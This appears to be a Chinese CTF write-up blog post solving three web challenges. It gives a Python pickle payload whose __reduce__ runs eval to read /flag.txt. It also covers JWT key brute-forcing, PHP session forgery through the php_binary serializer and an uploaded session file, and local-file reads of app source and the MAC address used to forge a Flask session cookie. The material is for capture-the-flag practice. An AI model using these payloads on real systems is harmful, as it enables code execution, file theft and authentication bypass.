[CISCN2019 华东南赛区]Web11

先写个脚本找一下v6

import requests
url="url/shop?page="
for i in range(0,2000):
    r=requests.get(url+str(i))
    if 'lv6.png' in r.text:
       print (i)
       break

抓一下包,发现是JWT认证
用c-jwt-cracker暴力破解密钥
获得源码,发现python反序列化,没有过滤直接跑

import pickle
import urllib
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a

[HFCTF2020]BabyUpload

开局送源码,如果我们要得到flag要满足两个条件

1.session验证为admin
2.存在success.txt文件

查看一下现在sess中存的内容,发现是php_binary处理的反序列化,那岂不是可以直接伪造了。

<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("D:\\phpstudy_pro\\WWW\\testphp\\");
session_start();

$_SESSION['username'] = 'admin';

生成sess文件,把文件名改为sess并计算sha256,
这样,如果我们将sess文件上传,服务器储存该文件的文件名就应该是

sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

查询后发现username被设置为了admin
file_exits即可以判断文件,也可以判断目录,这里直接传一个success.txt的目录即可
最后修改session,刷新得flag。

[CISCN2019 华东南赛区]Web4

file:///etc/passwd没反应,路由的处理方式不想php,用Flask的试试

local_file:///app/app.py

成功读取源码。
经分析,只要伪造seesion就能读flag,而密钥是以uuid.getnode(),也就是mac地址为种子生成的。

读取mac地址:local_file:///sys/class/net/eth0/address

用python2生成种子(不同python版本保留位数不同),Flask专用的脚本加密

python3 .\flask_session_cookie_manager3.py encode -s '82.5659952704' -t "{'username': b'fuck'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.XyEe_Q.wc_dKYSv6ifGWLT1XbJyT4VjIhY

替换后访问/flag即可。

标签: none

添加新评论